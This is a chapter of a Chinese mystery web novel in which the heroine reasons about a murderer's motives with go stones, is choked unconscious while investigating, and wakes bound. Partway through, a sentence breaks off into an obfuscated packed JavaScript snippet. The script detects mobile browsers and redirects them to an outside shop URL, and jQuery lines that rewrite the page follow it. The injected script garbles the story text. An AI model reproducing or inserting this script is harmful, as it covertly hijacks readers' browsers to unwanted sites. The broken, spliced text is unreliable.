梅林,有暗香浮动;石亭中,众人静默等候。
除了苍潜,他正急躁等候,坐下不久又起身踱步,时不时望向有说有笑的两人。
燕巧风端来几碟果干,说是给大家压压恶心。她刚一来,就被明杳拉着去一旁说起了小话,还不准旁人听。
他那是想听吗?他是想吃果干了!真是不懂事,也不知道把果干放下!
苍潜状似欣赏探入亭中的腊梅,踱着步子靠近,想偷听。
正巧两人也聊完了要紧事,明杳便允许了他的靠近。她眼睛一眨,顿时起了心思,手捻果干,吃下一口回道:“多谢馆主,亭中既有梅香又有果香,令人舒心多了。”
“这腊梅还是恒娥馆落成时特意遣人移栽的,那时整个恒娥馆被四溢梅香包围,来饮酒的客人不仅赏月还赏梅、嗅梅。”燕巧风凝望横生入亭的花枝,伸手抚过一个个可爱花苞,眼含落寞,“只可惜如今的香气到底是比不上以往了。”
“如今也很香。”明杳忙接上话头肯定道,接着注意到梅林的梅花与花瓶里的枯枝属同类。
明白明杳的安慰,燕巧风含笑摇头:“还是不同了,这些腊梅自两年前起只结花苞,不再开花了。”
“一方水土养育一方生灵。”刚靠近的苍潜听了,忍不住插嘴。
言外之意,恒娥馆已不适合腊梅生长。
“我又何尝不知?可我不信,移栽新株、施肥,能尝试的我都试了,可还是不开花,花苞还是会从枝头脱落,难道自他走后一切都变了样?”
察觉到自己的失态,燕巧风忽而噤声,借口再去添点果干,端起果碟匆匆离开。
明杳闷声不语,一把子将果干全塞给苍潜,不会说话就多吃点。她心想着又是两年前,视线不由落到亭中下棋的苟、武二人上。
武建柏执黑子,一手天元。落子果决,棋子清脆敲击棋盘。苟嘉梓捏着白子,不住敲着棋盘边缘,时不时抬头看向梅林入口处,心思全然不在棋局上,他随手一掷,白子落在角位上。
呼——
一声细微惊呼吹散茶水热气,明杳放下茶盏,起身从棋奁取出黑白二子,手中把玩着。
苍潜警惕望向对弈的二人,见他们没有注意到这边的动静,才低声问:“你说凶手有眉目了,是谁?”
“嗯——还不清楚。”明杳蹙眉摇头,来回抛着黑白二子。
见明杳神情不似故意糊弄自己,苍潜气结,没好气地低:“那你说什么有眉目了!真凶听你这样说,肯定想寻机灭口你,我不允许!”
明杳不解眨眨眼,自动忽视了他的后半句话。
“可我确有眉目。”明杳伸手抓住抛至半空的棋子,两手分握。
“据我们之前的推测,凶手非激情犯案,既以迷·药药倒众人,又有完美的不在场证明,明显事先有计划。”她摊开左手,露出掌心的白子,“正如这枚白子,是心思缜密之人。”
“但此人身上矛盾之处太多,勒死狄达后还砍手泄愤,所用工具也是柴房现有的柴刀,而杀死付晦的手法更是粗糙,直接用了房内的衣柜,与其之前周密细致的风格截然不同。”
明杳右手食指与拇指捻着黑子在苍潜眼前一晃:“矛盾的一面就像这黑子。”
“你们人族本就矛盾,或许凶手只是突然改了想法。”苍潜环臂而言,不甚在意。
“对!就是改了想法。”明杳双手合十,棋子碰撞发出清脆声响,“所以就像这两枚棋子合二为一,缜密又草率的统一才能看出凶手的行事逻辑。”
没料到明杳肯定了自己的讽刺,苍潜斜眼睨看,好奇她死死合上双手究竟在做什么。
掌中棋子相互摩擦着,发出“格叽格叽”的刮蹭声,明杳费了好大一番力气,也只替棋子完成了表面刮痧。
苍潜:“呵。”
他摊手索要棋子,明杳不明所以,但还是乖乖照办。苍潜五指猛然收紧,一震,细小灰色粉末自指缝倾泻而下。
苍潜向明杳投去挑衅目光,谁料明杳视若无睹,还赞许地拍拍他的手腕子。
苍潜霍然收手,拍了拍掌心的灰,问:“一个杀人犯讲什么条理,想,就这样做了。”
“当然要讲了。”琥珀色眼瞳一瞪,“凡事皆有‘因’,就像你走蛟,不也选了个占尽天时地利的日子嘛。”
“我占尽天时地利又有何用!重要的是人和!重要的是你!”
走蛟是苍潜的逆鳞,一提到便会发作,他音量猛地拔高,引来对弈二人注视。
明杳拽着他的衣袖,低声求饶:“好好好,知道了。是我的错,这例子举得不恰当,我道歉。”
“哼。”苍潜甩开明杳的手,气冲冲背过身去,半晌才发话:“你想说什么,接着说。”
“我们最初意识到凶手草率行事是在何处?是凶手就地取材使用柴刀,也就是说那时产生了‘因’,让凶手放弃了最初的计划,改了想法。”明杳轻声细语,唯恐又惹得苍潜不快。
明杳的态度令苍潜很是受用,手指搭在臂上轻敲,接话道:“所以我们要做找出那个‘因’?你想再去调查一番?”
“你觉得如何?”明杳没有直接回答,反问道。
“或从狄达入手,他的出现太过……”
“正有此意,所以就麻烦蛟大人帮忙掩护了。”明杳双手合十,轻拍两下。
“喂!”听到身后渐远的脚步声,苍潜不再摆谱猛地转身,明杳跑入梅林,寻不着踪迹了。
——
拨开墙下的枯草,拇指大小的洞赫然出现。
明杳不由生出几分懊恼,初探酿酒坊时,只顾着寻找别的入口而忽视了这不起眼的小洞。她蹲下身子,凑近向里张望。
纵向排列的酒缸展现在眼前,上覆红布,缸腹刻有满月图样,中书“恒娥月下酿”三字,是月下酿。
收回视线,明杳仔细打量起孔洞。孔洞边缘粗糙,像是最近钻孔形成的。
明杳拢了拢枯草,重新将孔洞遮住,忽而她手一顿,从枯草丛中捻起一物,聚睛细看。
察觉到此物或许是重要线索,明杳紧紧捏在手中,她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333090|199202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
霍然起身看向恒娥馆,还有最后一个地方要去。
抬起锁头在手中掂了掂,明杳又拽了拽验证牢靠程度,细看锁身光滑,无半点撬动痕迹。
“还是要进去一探究竟。”明杳低声自语。
她仰起头,难以抑制眼中惊恐,一阵颤栗窜上直达天灵盖,自后颈迸出的寒意几乎要冻结她整个身体。他看到了打在门扉上的影子,在她的影子后,出现了一道更大更浓的黑影将她笼罩。
明杳不敢回头,唯恐暴露了自己已发现身后有人的事实。她佯装无奈,放下锁头,与此同时,另一只手飞快朝后肘击,试图制造空隙逃走。
怎料那人速度比她更快,五指如鹰爪般死死钳住明杳后颈,猛地一掐。
一阵窒息感袭来,明杳眼底充血,拼死挣扎着,终是挣脱不了,她眼瞳上翻,不省人事。
——
眼睑透出微弱的光,浮沉的意识仿佛找到了出口,奔涌着朝亮光处汇聚。
明杳睫羽微颤,缓缓睁开。目之所及是层层床幔,明杳偏头望向床边的身影,目光良久才聚焦。苍潜叉腰而坐,直视前方,怒意喷薄而出。
“啊。”明杳不禁呼痛,心想这可比落枕痛多了。
“你终于醒了。”苍潜语气生硬,见明杳愣神看着自己,气不打一处来,语速骤然加快:“竟然敢独身一人去调查!真是不要命!”
听见屋内动静的燕巧风忙进屋凑上前来,她腮边还垂有泪痕,来不及擦拭就握住明杳的手。
“谢天谢地,还好明姑娘醒了。”燕巧风面露愧色,“我不该让你独自涉险。”
“我怎么会在房间里?记得明明是在……”明杳手肘撑着发力坐起身,环顾四周,十分不解。
感受到手腕的疼痛,明杳抬手一看,上有数道红痕,是绳子束缚的痕迹。
“阿烺验了尸来梅林寻我们,但一直不见你回来。我怕出事,便与大家说定一同寻找。”燕巧风眉头蹙起,仿佛不愿再忆起当时,“可遍寻不见,馆内各处都找了,最后苍公子带我们找到的。”
燕巧风见到明杳时被吓坏了,她双手反绑,双脚绑在床杆上,一动不动。几人都以为明杳遭难,犹豫着不敢上前,还是苍潜挤开众人,近身查看断言“只是昏迷”。
闻言,几人齐齐松了口气,但令燕巧风不解的是苍潜的脸色不知为何愈发铁青,冲着所有人怒目而视。
见两人絮絮叨叨终于结束对话,苍潜清了清嗓子,示意有话要说,但明杳若有所思,显然没有听见,施施然又往苍潜的怒意上添了一把火。
“你知不知道你差点就死在真凶手上了!我还没找你复仇,怎能容忍他人插足抢了先!明杳,你能不能好好保护自己!”
话音一落,屋内陷入沉默。苍潜等待回应,打定主意就算明杳回复他了,他也不再理睬,让她也尝尝被人酿在一边的滋味。燕巧风的视线在两人间逡巡,怎么也弄不明白两人纠葛的关系。
而明杳,她跳下床铺巡视四周,从地上捡起碎屑,扭头看向苍潜道:“我知道了。”